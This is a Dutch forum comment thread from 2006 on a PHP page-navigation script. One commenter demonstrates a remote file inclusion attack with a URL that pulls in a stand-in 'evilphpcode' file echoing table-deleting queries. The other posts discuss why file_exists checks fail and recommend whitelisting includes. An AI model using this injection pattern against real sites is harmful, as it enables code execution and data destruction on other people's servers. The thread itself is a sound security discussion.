Reacties op het script .html navigatie
|
Gepost op: 28 november 2006 - 19:37 |
|
|
|
HTML gevorderde
|
mooi, alleen ff een klein opmerkinkje...
Je geeft op dat het bestand .htacces moet heten...maar dit is uiteraard: .htaccess |
|
|
|
Gepost op: 28 november 2006 - 20:35 |
|
|
|
PHP ver gevorderde
|
Stom, succesvol gewijzigd ;) |
|
|
|
Gepost op: 29 november 2006 - 00:30 |
|
|
|
PHP expert
|
En... veilig maken is altijd leuk? |
|
|
|
Gepost op: 29 november 2006 - 00:32 |
|
|
|
PHP ver gevorderde
|
Waarom zou die niet veilig zijn ? |
|
|
|
Gepost op: 29 november 2006 - 00:36 |
|
|
|
PHP expert
|
Because...
index.php?pagina=http://www.mijnsite.com/evilphpcode.html
mijnsite.com/evilphpcode.php:
<?php
$evil = '<?php
mysql_query("DELETE * FROM users");
mysql_query("DELETE * FROM forum_topics");
// ... etc?';
echo $evil;
?>';
<?php $evil = '<?php mysql_query("DELETE * FROM users"); mysql_query("DELETE * FROM forum_topics"); // ... etc?'; ?>';
Nou, dat was leuk:-) |
|
|
|
Gepost op: 29 november 2006 - 00:37 |
|
|
|
PHP ver gevorderde
|
Nee, want hij kijkt op de lokale server of het bestand bestaat. Dit gaat dus niet werken, hij is hiervoor beveiligd. |
|
|
|
Gepost op: 29 november 2006 - 00:45 |
|
|
|
PHP expert
|
Sorry, ik mis het gedeelte waar daarop wordt gecheckt, kan je dat even aanwijzen. Of ik ben blind geworden of ik zie er echt zwaar over.
Allessinds, in php 5.0 kan ik volgende doen:
'localhost/test.php?pagina=http://www.sitemasters.be/index.html'
en index.php van sitemasters wordt geëvalueerd.
(php 5.2 gaat het niet) |
|
|
|
Gepost op: 29 november 2006 - 10:55 |
|
|
|
Moderator
|
vage heeft gelijk - bepaalde functies (file_exists / fopen / etc.) hebben vanaf bepaalde versies "wrappers" waardoor het mogelijk is om ook externe bestanden aan te spreken.
Wat ik niet snap is dat als een PHP- / html- / whatever-bestand bestaat (onder bepaalde "beperkende" voorwaarden, die in dit geval al tekort schieten qua veiligheid), dat je deze maar zou moeten includen...
Met iets meer moeite definieer je ZELF PRECIES welke bestanden er geinclude moeten worden, of welke acties er ondernomen moeten worden / welke config-variabelen een bepaalde waarde moeten krijgen. Met behulp van dit soort "index-bestanden" kun je een hele precieze "blauwdruk" van je site maken en bepaalde pagina's aan- en uitzetten.
File-exists()-varianten zijn wat mij betreft een slordige shorthand, die allerlei beperkingen (je kunt niet per pagina dingen instellen, tenzij je dit in een pagina-script zelf doet, maar dan is het "overzicht" weg) en nadelen (veiligheid, zoals vage terecht aankaart) heeft.
Het kan echt veel netter dan dit. Het is wat uitgebreider, maar de opzet van je website wordt dan veel overzichtelijker.
Deze filosofie (ontleend aan FuseBox) heb ik al een aantal keren de revue laten passeren, maar misschien wordt het tijd om deze eens in een tutorial te zetten om hier nogmaals op te hameren. |
|
|
Enkel aanvullende informatie, vragen en antwoorden op vragen zijn welkom. |
|
|
|